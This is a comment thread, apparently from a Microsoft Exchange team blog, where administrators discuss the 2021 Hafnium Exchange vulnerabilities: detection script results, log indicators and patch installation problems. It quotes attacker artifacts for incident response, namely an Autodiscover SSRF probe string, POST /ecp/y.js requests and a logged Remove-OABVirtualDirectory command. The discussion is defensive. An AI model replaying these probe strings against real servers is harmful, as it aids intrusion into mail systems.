This seems for me like some injection. What are the to do's no ? Install these patches an rerun the "test-hafnium.ps1" Scripts review the logs after rebooting the Server ? Or how can we verifiy that this exploiting can't be use again ?
Copper Contributor

And another sounds really ugly: CMD=Remove-OABVirtualDirectory.Force=$true.Identity=''DC1-MAP-VW-S003\OAB (Default Web Site)

 

Microsoft

@reaper111 I agree that those would definitely be a cause for concern and likely the vulnerability was exploited.

I have to apologize here, though, because I am not (and most folks on this blog will not be) a specialist in tracking down stuff that has been done on a machine that might have been compromised. The difficulty here is that payloads could be different (see my previous comment about what happens when vulnerability goes public). It is therefore impossible to give prescriptive guidance on what to do if the server was in fact compromised.

My opinion (read that as you will) is that if I had a personal machine that had malware on it, I would flatten it and start over. Personally, if that happened on my server, I'd be moving mailboxes off it and gracefully decommission it from my organization. All of that would be done AFTER all my servers were updated for the vulnerability. Unless you have a highly trained specialist on site who can track down every possible part of payload that might have been delivered.

Also, roll all of the Admin credentials.

Copper Contributor

Count me among those who also only have 2 indicators for Autodiscover and the administrator@mydomain.com email address. I haven't found any other indicators or webshells dropped.

 

Also, Nino I just wanted to thank you for responding to individuals here. I bet it's been pretty stressful the last couple of days. We appreciate it!

Copper Contributor

Question to everybody who only has the Autodiscover indicators: When you correlate those events to the IIS logs, are you seeing a POST /ecp/y.js?

 

I have 2 Autodiscover indicators that were thrown by the detection script. Looking at the time of these events in the IIS logs, for the first event on 2/28 I see the attacker first did a GET /ews/ which returned a 401 and then a POST /ecp/y.js which returned a 200. For the second event on 3/3 the attacker did a GET /ews/ again with a result of 401 and then a POST /ecp/y.js again with result 200.

 

Does anyone know what that means? I've searched for y.js and there is no such file. Is that just how they run the Autodiscover attempt by sending a POST to a phantom file? Or is something else going on? Why would the status code be 200?

 

Any help would be greatly appreciated! 

Copper Contributor

Sorry I made a mistake. The 2nd attempt was not a GET to /ews/ it was GET /rcp/

Copper Contributor

In a hybrid deployment where all mailboxes are in ExchangeOnline, does this allow access to mail

Brass Contributor

If the check script reports Autodiscover errors of the following type, and nothing else, you are probably ok.

 

"2021-03-03T07:43:37.416Z","ServerInfo~a]@ex2019.domain.local:444/autodiscover/autodiscover.xml?#"

 

To confirm, go to %PROGRAMFILES%\Microsoft\Exchange Server\V15\Logging\Autodiscover.  Find the log file that corresponds to the event.  In this example, it would be "Autod_2021030307-1.LOG".  Then find the entry in the log file.  You'll probably find an attempt to authenticate as administrator@example.com with a failure error that the email address does not exist.

Microsoft

@Craig Chambers While Exchange Online servers are not vulnerable to the exploit, if the on-premises server is compromised, because on-premises admins have access and permissions to make changes to messaging infrastructure, there is some exposure there. You should update your on-premises server(s) as soon as possible.

Copper Contributor

@Marc K 

 

I found in the log in the same time

 

2021-03-04T01:23:11.324Z,f04b2c8e-3f9d-43e8-9f65-99d0ce399624,15,1,1591,10,,Negotiate,true,NT AUTHORITY\SYSTEM,,ExchangeServicesClient/0.0.0.0,121.78.156.134,customername27,customername27.customername-GROUP.COM,POX/OutlookAutoDiscoverProvider,200,,0,0,1,,,,,GlobalThrottlingPolicy_469f9eb9-1a29-4be4-ada0-a1d8b872a3ef,,,3,4,0,4,6,11,50,ADSessionSettingsFromAddress=0;ADRecipientSessionFindBySid=0;Caller=null;ResolveMethod=FoundBySMTP;RequestedRecipient=a69e72f2-d4a1-4932-8606-9597ff06235a;RequestedRecipientType=UserMailbox;RequestedRecipientTypeName=ADUser;RecipientDatabase=VIP2k16;ExchangePrincipal=Administrator@customername-group.com;epSite=customername-group.com/Configuration/Sites/Default-First-Site-Name;epServer=customername27.customername-group.com;SkipST=False;GrpInfo=Default-First-Site-Name;MbxGuid=7c434352-2b3a-4da0-b8cf-1bb9a2224423;vdirsrc=customername27;vdirsrc=customername27;vdirsrc=customername27;Team=True;delegates=0;MapiHttpEnabledSource=NotRequested;S:ServiceCommonMetadata.RequestSize=352;S:WLM.Bal=299976 6;S:BudgetMetadata.EndBudgetHangingConnections=00:00:00.0468624;S:WLM.BT=Ews;S:BudgetMetadata.MaxConn=27;S:BudgetMetadata.MaxBurst=300000;S:BudgetMetadata.BeginBalance=300000;S:BudgetMetadata.Cutoff=0;S:BudgetMetadata.RechargeRate=1800000;S:BudgetMetadata.IsServiceAct=False;S:BudgetMetadata.LiveTime=00:00:00;S:BudgetMetadata.EndBalance=299976;Dbl:WLM.TS=50;Dbl:BudgUse.T[]=46.8624000549316;I32:ADR.C[customername20]=4;F:ADR.AL[customername20]=2.0571;I32:ADS.C[customername20]=5;F:ADS.AL[customername20]=2.347036;I32:VCGS.C[customername27]=6;I32:ATE.C[customername20.customername-group.com]=8;F:ATE.AL[customername20.customername-group.com]=0.125;Dbl:VCGS.T[customername27]=0;I32:ADS.C[customername21]=2;F:ADS.AL[customername21]=3.047046;I32:ATE.C[customername21.customername-group.com]=1;F:ATE.AL[customername21.customername-group.com]=2,,,,30692,1_63_64_61_62_62_62_4_65_67_61_59_6_12_75_22_23_167_82_145_83_86_89_91_95_96_97_94_201_180_102_149_196_103_165_104_166_105_189_106_184_182_152_183_182_151_185_182_182_182_152_151_107_109_184_182_152_183_182_151_185_182_182_182_152_151_163_198_199_155_164_147_161_184_182_152_183_182_151_185_182_182_152_151_74_74_110_187_182_181_181_111_115_116_117_118_169_119_112_170_182_152_182_171_114_170_182_152_182_171_120_112_119_121_175_176_178_186_182_152_179_182_151_193_192_148_177_174_186_182_152_182_153_151_151_152_190_114_119_121_175_176_178_186_182_152_174_186_182_152_152_182_153_151_151_190_127_144_154_155_156_156_128_186_182_152_182_153_151_151_152_186_182_152_152_182_153_151_151_198_129_138_139_140_142_15_33_42_24_50_52_169_55_57_206_2,2021-03-04T01:23:11.277Z,0,0,0,0,0,46

Microsoft

Hello! One of my customer is running Microsoft exchange 2019 CU3. All the patches were listed on Microsoft web site, and the security patches apply only to Microsoft exchange 2019 CU7 and 8. They want to know if there is a patch for Microsoft Exchange 2019 CU3

Copper Contributor

@Taruna Juneja No, you would need to update your client to CU7 or CU8 first.

Copper Contributor

So if all that was found from the script are two 444/autodiscover entries and they correspond with "administrator@domain.com message=the email address cannot be found" does that mean you are in the clear?  I'm seeing many admins across the internet seeing this with the same question.  The script was otherwise clean.

 

 

Copper Contributor

On Github some Mitigation Scripts are avaible to verify, Site is updated regulary: https://github.com/microsoft/CSS-Exchange/tree/main/Security

will check tomorrow and maybe interessting for some of you.

Another really cool Script ist this Health Checker, interessing Information: https://github.com/dpaulson45/HealthChecker#download

 

Greetings

 

 

Copper Contributor

Hi @Nino Bilic 

We have 2 Exchange 2016 servers in HA and used elevated command prompt for the installation of CU 19. After the installation, Exchange ecp is broken i.e. I am able to login into Exchange control panel but instead of showing standard ecp I am getting links on the left side of the page and I cannot click anything. Can you please help, this is a production environment

 

Thank you,

 

Copper Contributor

1. Is there a method to identify if a system has been compromised? The MS script culls log entries that are suspicious; you then need to dig into the log file specific to the culled entry. http response codes 200, 241, and 500; no indications of account names and login attempts.  No indications of uploads.

2. Date/time entries in culled file do not match dates/times in actual log files

3. No indication that the "patch" ELIMINATES the alleged compromise; do they?

4. Are new AD or local logins created if a system is compromised?  What account is compromised if the multitude of legs doesn't directly indicate login names or email addresses?

5. If a log entry contains an email address/account, does the flaw/bad code permit unauthenticated access to account indicated in the multitude of log files?

Copper Contributor

Hi,

Im running Exchange 2016 and have just upgraded to CU19. When trying to install the patch I get the error:

 

"The upgrade patch cannot be installed by the Windows Installer service because the program to be upgraded may be missing,or the upgrade patch may update a different version of the program. Verify that the program to be upgraded exists on your computer and that you have the correct upgrade patch" 

 

Has anyone come across this at all and if so, what was the resolution please?

Copper Contributor

@Ian Wright 

 

Make sure you have the correct patch. there is one for CU19 and a different one for CU18.  If you accidentally downloaded the one for CU 18 you would get this message.

Copper Contributor
Copper Contributor

@Ian Wright 

That's the right one,  I would reboot and check you exchange revision number for the server in the Exchange Control Panel.  Reference it on this page https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserv... and make sure it correlates with Exchange Server 2016 CU19.  I believe you should also be able to reapply CU19 on top of it-self if something did not get updated.

Copper Contributor

@The_Exchange_Team 

Hi,

 

I'm currently updating my 2013. The CU went fine, but the Security update has been trying to stop services for about an hour now. Anyone got the same issue ? Anything i can do to make it faster ? (It's not stuck, i can see services going down 1 by 1 slowly)

 

Thanks

Copper Contributor

I got it working, just had to wait for my security update.

 

I got 2 other errors while doing my readiness check :

https://evotec.xyz/microsoft-exchange-2013-cu11-readiness-checks-error/

Which adding the SSL certificate did fix it and the other one I had to register a .dll

regsvr32 wbemprox.dll

Copper Contributor

@jimmygrec it’s really odd that it’s the same on both of my boxes. 

does anyone know if it’s still possible to slipstream updates when installing the CU?

 

Copper Contributor

Dear Microsoft, thank you very much for the support and the hotfixes, unfortunately they come a little too late, many of our customers have already been infiltrated or attacked.

It is clear to me that it takes time from the detection to the creation of a hotfix, but in such a case an early warning system would be better, i.e. if such suspicious attacks become known, customers can block external access to the Exchange server in advance and wait to see whether they are in each case want to install the patch or not if one appears.
I realize that this is not always possible, but I think a lot could have been prevented here with a kind of early warning system.

Microsoft

@Ian Wright No, sorry. Should be installed separately (and if installed manually, should be ran from elevated CMD line.

Microsoft

A quick note to everyone - I just added this into the blog post also but: if you are seeing errors during or after installation of the security update, see this article about troubleshooting related issues.

Copper Contributor

@Nino Bilic in my case as both of my exchange 2016 servers are on build 15.01.2176.002 which is CU19. Just don’t get why it doesn’t recognise that.

 

Copper Contributor

@Nino Bilic I'm seeing many Admins, myself included, reporting the script only finding a couple of 444/autodiscover/autodiscover.xml?# entries and they correspond with "administrator@domain.com message=the email address cannot be found" in the logs, but everyone is unsure if this means you were just probed or actually compromised.  I see no shells or any other IOC's and the rest of the script is clean.

 

Does this in fact mean you were only probed and not compromised?

Microsoft

@Ian Wright We have a new article for troubleshooting (https://aka.ms/exupdatefaq) but you might have looked at that already. What does the Health Checker script say?

Co-Authors
Version history
Last update:
‎Mar 19 2021 01:44 PM
Updated by: